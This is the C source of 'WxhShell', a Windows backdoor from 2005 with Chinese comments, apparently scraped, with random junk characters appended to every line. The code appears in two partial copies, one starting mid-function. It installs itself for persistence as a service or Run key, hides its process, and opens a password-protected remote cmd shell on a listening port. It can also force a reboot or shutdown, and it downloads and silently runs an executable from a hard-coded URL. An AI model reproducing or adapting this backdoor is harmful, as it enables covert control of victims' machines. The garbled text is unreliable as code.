    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +rNkN:/L  
    if(Boot(SHUTDOWN)) H L<s@kEZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tn/T6C^)  
    else { <XQ.A3SG!  
    closesocket(wsh); HTz+K6&  
    ExitThread(0); c\cZ]RZ  
    } MM{_Ur7Q  
    break; $2z _{@Z  
    } X`zC ^z}  
  // 获取shell 1 [z'G)v  
  case 's': { h`MdKX$  
    CmdShell(wsh); NWmtwS+@  
    closesocket(wsh); 7z~Ghz  
    ExitThread(0); 9x~-*8aw  
    break; OIaYHA  
  } 3$M3Q]z  
  // 退出 0?Yz]+{C  
  case 'x': { U;xF#e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Uhh l3%p  
    CloseIt(wsh); dc0@Y  
    break; Az*KsY{/r  
    } #P2;K dDO  
  // 离开 7CvD'QW /  
  case 'q': { UWG+#,1J.\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Kf7WcJ4b  
    closesocket(wsh); =N.!k Vkl  
    WSACleanup(); ^!: "Q3  
    exit(1); MW Wu@SY  
    break; Ar, 9U9  
        } Edt}",s7  
  } Ruh)^g  
  } pe04#zQK  
!FG%2L4?,5  
  // 提示信息 ]j.k?P$U}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0=U70nKr  
} S0@T0y#  
  } LZ~`29qw(  
~o15#Pfn/  
  return; SHdL /1~t  
} b#Kq[}  
(wt+`_6  
// shell模块句柄 k{Lv37H  
int CmdShell(SOCKET sock) Wr|G:(kw\!  
{ HD# r0)  
STARTUPINFO si; y62%26 [  
ZeroMemory(&si,sizeof(si)); KS>$`ax,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 18!VO4u\I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )Id2GV~2B  
PROCESS_INFORMATION ProcessInfo; E)YVfM  
char cmdline[]="cmd"; !G=>ve  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |KG&HN fP-  
  return 0; IS_Su;w>4  
} $Tl<V/  
k khE}qSD  
// 自身启动模式 i Q`]ms+  
int StartFromService(void) DvT+`X?R  
{ /8CY0Ey  
typedef struct Ky9W/dCR  
{ !s IwFv )  
  DWORD ExitStatus; ]rX9MA6  
  DWORD PebBaseAddress; sB7" 0M  
  DWORD AffinityMask; o)]FtL:mm  
  DWORD BasePriority; OeTu?d&N  
  ULONG UniqueProcessId; `bP?o  
  ULONG InheritedFromUniqueProcessId; .|]IwyD &  
}   PROCESS_BASIC_INFORMATION; l)@:T|)c  
(r F?If  
PROCNTQSIP NtQueryInformationProcess; d /j@_3'  
5:gj&jt;)7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QUP|FIpZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _PB@kH#  
obGWxI%a  
  HANDLE             hProcess; wGXwzU  
  PROCESS_BASIC_INFORMATION pbi; wJIB$3OT  
Ph)| j&]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6v47 QW|'  
  if(NULL == hInst ) return 0; O-GxUHwW r  
__)qw#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nm):SEkC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ! zfFt;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t.=Oj  
mTjm92  
  if (!NtQueryInformationProcess) return 0; b(T@~P/  
 X4I]9 t\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xXOw:A'  
  if(!hProcess) return 0; XS/n>C  
V*qY"[   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .uDM_ 34  
J:};n@<  
  CloseHandle(hProcess); zh?4K*>.k  
Yo'K pdn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (T;9us0  
if(hProcess==NULL) return 0; 1ih*gJPpj  
R+Lk~X^*l'  
HMODULE hMod; >l2w::l%  
char procName[255]; >UN vkQ:  
unsigned long cbNeeded; hWxT!  
iwo$\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~07RFR  
NhDA7z`b'J  
  CloseHandle(hProcess); 4K,''7N3  
#WEq-0L   
if(strstr(procName,"services")) return 1; // 以服务启动 kIM C~Z  
9.-47|-9C  
  return 0; // 注册表启动 oc;VIK)g]c  
} d Uz<1^L  
uGCtLA+sL  
// 主模块 ]L(54q;W  
int StartWxhshell(LPSTR lpCmdLine) ,wT g$ g-$  
{ B/_6Ieb+  
  SOCKET wsl; EIK*49b2  
BOOL val=TRUE; #~e9h9  
  int port=0; ,i![QXZ  
  struct sockaddr_in door; %BICt @E  
y< ud('D  
  if(wscfg.ws_autoins) Install(); Y-~;E3(  
uN(b.5y  
port=atoi(lpCmdLine); u\w2S4c  
{Y "8~  
if(port<=0) port=wscfg.ws_port; -pX|U~a[  
L5C2ng>  
  WSADATA data; <i7agEdZD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bqNLkw#  
%O_t`wz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &%:*\_2s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kYtHX~@  
  door.sin_family = AF_INET; ,4yG(O$)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w>vmF cp  
  door.sin_port = htons(port); fO+U HSC  
N1s.3`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u#!GMZJN  
closesocket(wsl); H9:%6sds  
return 1; 8>d q=0:  
} qxSs ~Qc  
OaNc9c"  
  if(listen(wsl,2) == INVALID_SOCKET) { <vLdBfw&N  
closesocket(wsl); i :EO(`  
return 1; c _p[yS  
} o oDdV >  
  Wxhshell(wsl); A`Q >h{  
  WSACleanup(); FdM<;}6T  
g~|y$T  
return 0; R9q0,yQW  
;x16shH  
} r hZQQOQ  
lT3|D?sF  
// 以NT服务方式启动 G V=OKf#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *bU% @O  
{ ik1XGFy?  
DWORD   status = 0; ?4MSgu  
  DWORD   specificError = 0xfffffff; HoV{Uzm  
ysl8LK   
  serviceStatus.dwServiceType     = SERVICE_WIN32; i.F8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gu!](yEgl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [JZ  h*A  
  serviceStatus.dwWin32ExitCode     = 0; Eh {up  
  serviceStatus.dwServiceSpecificExitCode = 0; *F|i&2  
  serviceStatus.dwCheckPoint       = 0; /Go>5 B>  
  serviceStatus.dwWaitHint       = 0; {sl~2#,}b1  
avV mY|I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wn{]#n=|l  
  if (hServiceStatusHandle==0) return; /!-J53K  
,Q+\h>I  
status = GetLastError(); _~:j3=1&n  
  if (status!=NO_ERROR) /[6:LnaE  
{ [~!.a\[RW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e$H|MdYIA  
    serviceStatus.dwCheckPoint       = 0; q _19&;&  
    serviceStatus.dwWaitHint       = 0; Yu1QcFuy  
    serviceStatus.dwWin32ExitCode     = status; cNx \&vpd  
    serviceStatus.dwServiceSpecificExitCode = specificError; V*>73I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {dZ!I  
    return; $\0TD7p  
  } OCwW@OC +  
\4/:^T}*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gu^_iU  
  serviceStatus.dwCheckPoint       = 0; sD2*x T  
  serviceStatus.dwWaitHint       = 0; :wSJ-\'$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y~x#pC*w  
} |1lf(\T_  
87+.pM|t%  
// 处理NT服务事件,比如:启动、停止 0c`sb+?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fJvr+4i4k  
{ - *r[  
switch(fdwControl) HE@-uh  
{ $]nVr(OZ_  
case SERVICE_CONTROL_STOP: >eEnQ}Y  
  serviceStatus.dwWin32ExitCode = 0; kHGeCJe\{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Tw}@+-  
  serviceStatus.dwCheckPoint   = 0; j/~VP2R`  
  serviceStatus.dwWaitHint     = 0; vNPfUEnA  
  { 9) jo7,VM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @>+^W&  
  } .zQ4/  
  return; YfV"_G.ad|  
case SERVICE_CONTROL_PAUSE: =jsx (3V   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ZUv ZN f  
  break; =kwb` Z/a  
case SERVICE_CONTROL_CONTINUE: 7Y%!,ff  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yB 1I53E  
  break; !?S5IGLOj  
case SERVICE_CONTROL_INTERROGATE: FK-}i|di  
  break; KSF5)CZ5  
}; G% o7BX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H]Y#pL u|  
} i<'{Y  
~K4k'   
// 标准应用程序主函数 $,}Qf0(S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7z Ohyl?  
{ h_AJI\{"  
#8S [z5 `  
// 获取操作系统版本 2;dM:FHLhO  
OsIsNt=GetOsVer(); 7qW.h>%WE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~o}moE/ ;O  
0@o;|N"i  
  // 从命令行安装 ])+Sc"g4k  
  if(strpbrk(lpCmdLine,"iI")) Install(); H<v c\r  
|*lH9lWJ  
  // 下载执行文件 yBr$ 0$  
if(wscfg.ws_downexe) { Q~x*bMb.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j@%K*Gb`  
  WinExec(wscfg.ws_filenam,SW_HIDE); A"Tc^Ij  
} p Z0=  
t^`<*H  
if(!OsIsNt) { luJ{Iq  
// 如果时win9x,隐藏进程并且设置为注册表启动 We[<BJ o4  
HideProc(); 9`OG  
StartWxhshell(lpCmdLine); ,G916J*XA  
} jK& Nkp  
else iSnIBs9\  
  if(StartFromService()) 7~nIaT  
  // 以服务方式启动 ['/;'NhdlY  
  StartServiceCtrlDispatcher(DispatchTable); VC/R)%@%  
else '=KuJ0`nE9  
  // 普通方式启动 zfk'>_'  
  StartWxhshell(lpCmdLine); =4YbVA+(  
_Cu[s?,kS  
return 0; R1]v}f_I"  
} 3N(8| wh  
0SAG6k~x  
!O 0ZD4/{4  
34"{rMbQ  
=========================================== ?q+8 /2  
0L3Bo3:k  
gubb .EY  
=YS!soO  
Y9z:xE  
s98: *o3  
" D<+ bzC  
E#yCcC!wMY  
#include <stdio.h> [X0k{FR  
#include <string.h> g @c=Bt$  
#include <windows.h> &. |;yt%v  
#include <winsock2.h> HV]~=Bw2I  
#include <winsvc.h> u i s:\Uc  
#include <urlmon.h> T=hm#]   
'US:Mr3  
#pragma comment (lib, "Ws2_32.lib") 44Seq  
#pragma comment (lib, "urlmon.lib") Y!K^-Y}  
;g;,%jdCS  
#define MAX_USER   100 // 最大客户端连接数 4<=eK7;XR  
#define BUF_SOCK   200 // sock buffer eukX#0/^  
#define KEY_BUFF   255 // 输入 buffer V Z4nAG  
mafAC73  
#define REBOOT     0   // 重启 {|8:U}<#h  
#define SHUTDOWN   1   // 关机 5Ws:Ei{R  
842Mydom  
#define DEF_PORT   5000 // 监听端口 n?TO!5RZK  
;Xnk+  
#define REG_LEN     16   // 注册表键长度 f~n' Ki+'  
#define SVC_LEN     80   // NT服务名长度 RW|UQY#  
Yke<Wy1  
// 从dll定义API {[(W4NAlH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \t&n jMWpZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0lvb{Zd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -o! saX<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2c*VHIl;  
mvW^P`nB  
// wxhshell配置信息 MY0[Oq cm=  
struct WSCFG { JCCx 5  
  int ws_port;         // 监听端口 :O>Nd\UtO  
  char ws_passstr[REG_LEN]; // 口令 z9OMC$,V  
  int ws_autoins;       // 安装标记, 1=yes 0=no K-g=td/@  
  char ws_regname[REG_LEN]; // 注册表键名 &;uGIk>s  
  char ws_svcname[REG_LEN]; // 服务名 baO&n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;iwD/=Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LN,$P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Zp% ""  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4nVO.Ud0$X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V!yp@%D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q!BkS=H30K  
Q@3ld6y  
}; AOvH&9**  
hs -}:^S`  
// default Wxhshell configuration #U6/@l)  
struct WSCFG wscfg={DEF_PORT, 93zlfLS0  
    "xuhuanlingzhe", DI2S %N l  
    1, DcFV^8O&  
    "Wxhshell", A ydy=sj  
    "Wxhshell", uMq\];7I  
            "WxhShell Service", 6 ^6uK  
    "Wrsky Windows CmdShell Service", cSHtl<UY  
    "Please Input Your Password: ", B<|q{D$N/  
  1, l1`c?Y  
  "http://www.wrsky.com/wxhshell.exe", JY;#]'T\;  
  "Wxhshell.exe" 6832N3=  
    }; u:{. Hn`  
  t`&s  
// 消息定义模块 unbcz{&Hb[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ay[9k=q]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [\ w>{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `qYc#_ELv  
char *msg_ws_ext="\n\rExit."; :#"OCXr  
char *msg_ws_end="\n\rQuit."; Fr E/K_L  
char *msg_ws_boot="\n\rReboot..."; i >/@]2  
char *msg_ws_poff="\n\rShutdown..."; st1M.}  
char *msg_ws_down="\n\rSave to "; r(/P||`l  
:u|UVp5  
char *msg_ws_err="\n\rErr!"; *SAcH_I2$>  
char *msg_ws_ok="\n\rOK!"; 2-B8>-   
37<GG)  
char ExeFile[MAX_PATH]; /fcwz5~  
int nUser = 0; #!F8n`C-  
HANDLE handles[MAX_USER]; s3fGX|;  
int OsIsNt; 'KW+Rr~tZn  
u.xA}yVS  
SERVICE_STATUS       serviceStatus; _oyL*Cb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0^-b}  
iaq:5||,  
// 函数声明 Ug[F3J|Mu  
int Install(void); *^&iw$Qx3  
int Uninstall(void); 36D,el In  
int DownloadFile(char *sURL, SOCKET wsh); r:S5x.P2  
int Boot(int flag); k+>p!1  
void HideProc(void); r0XGGLFuZl  
int GetOsVer(void); >=RHE@  
int Wxhshell(SOCKET wsl); ~A{[=v  
void TalkWithClient(void *cs); K`AW?p^$Y  
int CmdShell(SOCKET sock); `:^)"#z)  
int StartFromService(void); X#\P.$  
int StartWxhshell(LPSTR lpCmdLine); 0^tJX1L  
I?xhak1)lu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H6+st`{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BRQ5  
)F9V=PJE  
// 数据结构和表定义 BM}a?nnoc  
SERVICE_TABLE_ENTRY DispatchTable[] = t3h \.(mq  
{ !un"XI0`t<  
{wscfg.ws_svcname, NTServiceMain}, rt4|GVa  
{NULL, NULL} epm8N /  
}; l.t.,:  
5Qe}v  
// 自我安装 61 HqBa  
int Install(void) =F; ^^VX  
{ 7[VCCI g  
  char svExeFile[MAX_PATH]; !&<Wc^PG  
  HKEY key; Ub-k<]yZ  
  strcpy(svExeFile,ExeFile); 9R<J$e  
,HjHt\!~<  
// 如果是win9x系统,修改注册表设为自启动 Y{\2wU!Isn  
if(!OsIsNt) { s?gXp{O?X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +r34\mAO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i_Q4bhVj  
  RegCloseKey(key); Z_TbM^N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @eD2<e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W71#NjM2Z  
  RegCloseKey(key); ;R-Q,aCM}  
  return 0; u=?P*Y/|W  
    } JZ*?1S>  
  } ,@j& q  
} ), x3tTR  
else { =I*ZOE3n  
Zi'8~iEH  
// 如果是NT以上系统,安装为系统服务 P<w>1 =  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E9NGdp&-Ah  
if (schSCManager!=0) mm~o%1|WR  
{ t3kh]2t  
  SC_HANDLE schService = CreateService pLFL6\{g  
  ( @;-Un/'C;7  
  schSCManager, b+fy&rk@-  
  wscfg.ws_svcname, >Sl:Z ,g;  
  wscfg.ws_svcdisp, Sv[_BP\^h  
  SERVICE_ALL_ACCESS, ~ 8qFM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7.=s1~p  
  SERVICE_AUTO_START, "B{xC}Tw  
  SERVICE_ERROR_NORMAL, z K]%qv]  
  svExeFile, +vY`?k`  
  NULL, jYssz4)tp  
  NULL, F_ lj>;}a5  
  NULL, (inwKRH  
  NULL, v6(l#,  
  NULL gl4 f9Ff  
  ); "MKsSty  
  if (schService!=0) `rFGSq$9  
  { bqLYF[#T  
  CloseServiceHandle(schService); qQ\hUii  
  CloseServiceHandle(schSCManager); _ -FQ78C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CMB$RLf  
  strcat(svExeFile,wscfg.ws_svcname); hQrsZv:Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6j.(l4}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MkIO0&0O  
  RegCloseKey(key); C3 c|@7FU  
  return 0; h3 ZL0Fi*  
    } z[I/ AORl  
  } ,}$x'8v  
  CloseServiceHandle(schSCManager); 5Ddyb%  
} st^N QL  
} UVi/Be#|  
9(\N+  
return 1; HGMH g  
} <. ]&FPJ  
GoGgw]h>x  
// 自我卸载 gf8U &;  
int Uninstall(void) k.VOS 0  
{ YV+dUvz  
  HKEY key; s%re>)=|  
*" +cP!  
if(!OsIsNt) { Qpu2RfP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _z6u^#Si  
  RegDeleteValue(key,wscfg.ws_regname); JN|#   
  RegCloseKey(key); C)dYAq3,8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o%s}jBo}  
  RegDeleteValue(key,wscfg.ws_regname); >Qu^{o  
  RegCloseKey(key); R-0Ohj  
  return 0; J;9QDrl`  
  } QRix_2+  
} [_B&7#3>7  
} ]fmfX  
else { Nv#, s_hG  
o*S $j Cf?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X Ow^"=Oa[  
if (schSCManager!=0) MPw7!G(qj  
{ ed2 &9E>9b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x@l~*6!K  
  if (schService!=0) |Y8o+O_`  
  { M/I d\~  
  if(DeleteService(schService)!=0) { |I<-x)joIK  
  CloseServiceHandle(schService); 0p2O8>w^%  
  CloseServiceHandle(schSCManager); 4B,A+{3yL  
  return 0; / =<u l-K  
  } #GJh:#tt^  
  CloseServiceHandle(schService); QiL  
  } tXuxTVhoT  
  CloseServiceHandle(schSCManager); Q(Y,p`>  
} `^Sq>R!;  
} Z0@ImhejuB  
]@g$<&  
return 1; =5#Jsn?U  
}  ~&jCz4M  
-v2q:x'G#  
// 从指定url下载文件 ZOsn,nF  
int DownloadFile(char *sURL, SOCKET wsh) G+p>39P   
{ nWsz0v3'9  
  HRESULT hr; s$G8`$+i1  
char seps[]= "/"; OlFn<:V K  
char *token; jv^ L~<u  
char *file; JQ4>S<ttJ  
char myURL[MAX_PATH]; +`[Sv%v&L  
char myFILE[MAX_PATH]; P.P>@@+d  
I8:&Btf  
strcpy(myURL,sURL); }# ^Pb M  
  token=strtok(myURL,seps); y=`(`|YW}`  
  while(token!=NULL) 2C&%UZim;P  
  { a VMFjkW  
    file=token; \5_^P{p7<  
  token=strtok(NULL,seps); (LPc\\Vv  
  } 4(gf!U  
~;s)0M  
GetCurrentDirectory(MAX_PATH,myFILE); 0_.hU^fP  
strcat(myFILE, "\\"); t fQq3#  
strcat(myFILE, file); (HxF\#r?  
  send(wsh,myFILE,strlen(myFILE),0); ^%^0x'"  
send(wsh,"...",3,0); 9jO+ew  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U$Z}<8  
  if(hr==S_OK) oa7Hx<Y  
return 0; MPc=cLv  
else uwzT? C A6  
return 1; K>6p5*&  
SW, Po>Y  
} a^,RbV/  
}A ^,y  
// 系统电源模块 P ie!Su`  
int Boot(int flag) |0mI3r  
{ _J!mhU A  
  HANDLE hToken; (iP,YKG1?  
  TOKEN_PRIVILEGES tkp; _ RYZyw   
K@lV P!z  
  if(OsIsNt) { JR)rp3o-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \]El%j4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iHB)wC`u  
    tkp.PrivilegeCount = 1; DVH><3FF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +.cv,1Vx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |SleSgS<#  
if(flag==REBOOT) { i|GC 'XD@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ARo5 Ss{  
  return 0; q"oNB-bz  
} ]^<~[QK_C  
else { W@=ilW3RD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t T:yvU@a  
  return 0; U @|_5[nl  
} .|-y+9IP  
  } 3\7$)p+c  
  else { 5K<C  
if(flag==REBOOT) { 4N&}hOM'S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2D"/k'iA  
  return 0; O/nS,Ux  
} nt6"}vO  
else { @d|9(,Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m6D4J=59  
  return 0; (#qVtN`t  
} NBX/V^  
} r MlNp?{_  
K%;yFEZ  
return 1; .VT,,0  
} 6np wu5!  
a$m?if=  
// win9x进程隐藏模块 %b9M\  
void HideProc(void) f -5ZXpWs'  
{ 9m{rQ P/  
*Q?HaG|S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dGe  
  if ( hKernel != NULL ) CS49M  
  { yk/XfwQ5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \\JXY*DA:+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T~>:8i  
    FreeLibrary(hKernel); {'%=tJ[YX  
  } TF>F7v(,45  
da@ .J9  
return; v#xF;@G  
} om6R/K  
,fn=%tiUk  
// 获取操作系统版本 |(5=4j]  
int GetOsVer(void) z?xd\x  
{ |1o]d$3m  
  OSVERSIONINFO winfo; 8z"Yo7no  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [@;Z xs  
  GetVersionEx(&winfo); c/RG1w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LJD"N#c   
  return 1; f&'md  
  else -5K/ cK  
  return 0; 2X`M&)"X  
} Y i`.zm  
1Jt%I'C?  
// 客户端句柄模块 $.Ni'U  
int Wxhshell(SOCKET wsl) Er)b( Kk  
{ uvL|T48  
  SOCKET wsh; 0/$sr;  
  struct sockaddr_in client; S%2qB;uw  
  DWORD myID; UpILr\3U  
0dW1I|jR  
  while(nUser<MAX_USER) 9EEHLx"  
{ K4"as9oFP  
  int nSize=sizeof(client); }O/Nn0,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {8Ll\j@ "  
  if(wsh==INVALID_SOCKET) return 1; V|= 1<v  
.;'xm_Gw<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AO6;aT  
if(handles[nUser]==0) ryN-d%t?  
  closesocket(wsh); |d K-r  
else /+u*9ZR&1  
  nUser++; 9YKEME+:  
  } bHCd|4e,2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Vq\6c  
tyh%s"  
  return 0; pyKMi /)bL  
} `*]r.u0  
0^=S:~G  
// 关闭 socket #qWEyb2UZ  
void CloseIt(SOCKET wsh) 0:*$i(2  
{ n2E2V<#   
closesocket(wsh); hf[K\aAk  
nUser--; S`::f(e  
ExitThread(0); 7j+.H/2  
} t%)L8%Jr  
vzL>ZBe Z  
// 客户端请求句柄 kQ +   
void TalkWithClient(void *cs) ]zO]*d=m  
{ g!$ "CX%8  
a <3oyY'  
  SOCKET wsh=(SOCKET)cs; ^P[*yf  
  char pwd[SVC_LEN]; UxW~yk  
  char cmd[KEY_BUFF]; 7 ?Fl [FW$  
char chr[1]; ;.Kzc3yz}  
int i,j; v[x`I;  
NoMC* ",b>  
  while (nUser < MAX_USER) { 2}NfR8 N  
M`(xAVl  
if(wscfg.ws_passstr) { A)xI. Q6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .+y#7-#6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zMa`olTZ  
  //ZeroMemory(pwd,KEY_BUFF); ^/c|s!U^  
      i=0; fqcyCu7Ep  
  while(i<SVC_LEN) { hm& ~6rB  
ZrTq)BZ  
  // 设置超时 thh, V   
  fd_set FdRead; \sk,3b-&'  
  struct timeval TimeOut; [-l^,,E  
  FD_ZERO(&FdRead); Uc4r  
  FD_SET(wsh,&FdRead); J(Bn  n  
  TimeOut.tv_sec=8; eu# ||  
  TimeOut.tv_usec=0; m'pihFR:f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \ .:CL?m#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4ngiad6bR  
Ct B> s7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g$A1*<+  
  pwd=chr[0]; 3yTBkFI!  
  if(chr[0]==0xd || chr[0]==0xa) { RKe19l_V  
  pwd=0; E(TY%wO  
  break; U}UIbJD*=  
  } ?f%@8%px  
  i++; (k[<>$hL*  
    } eN/Jb;W  
@-hy:th#  
  // 如果是非法用户,关闭 socket r@_;L>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8'zwy d3  
} c6e?)(V>  
X3nwA#If1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U<*dDE~z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *@O;IiSE  
9qw~]W~Nm  
while(1) { ^!A{ 4NV  
=%a.C(0&G  
  ZeroMemory(cmd,KEY_BUFF); "$WZd  
G",+jR]  
      // 自动支持客户端 telnet标准   D,NjDIG8  
  j=0; "DUL} "5T  
  while(j<KEY_BUFF) { 5vS'Qhc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lY6U$*9c  
  cmd[j]=chr[0]; j*CnnM#n  
  if(chr[0]==0xa || chr[0]==0xd) { >9|Q,/b0  
  cmd[j]=0; 'HOt?lpu!  
  break; ;N)qNiJY  
  } ztu N0}'  
  j++; [\I\).  
    } P| G:h&  
n |(Y?`(  
  // 下载文件 z8gp<5=  
  if(strstr(cmd,"http://")) { n.XT-X^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); poM VB{U  
  if(DownloadFile(cmd,wsh)) _N<8!(|w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z rvb %  
  else #*~#t4S-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^D!UF(H  
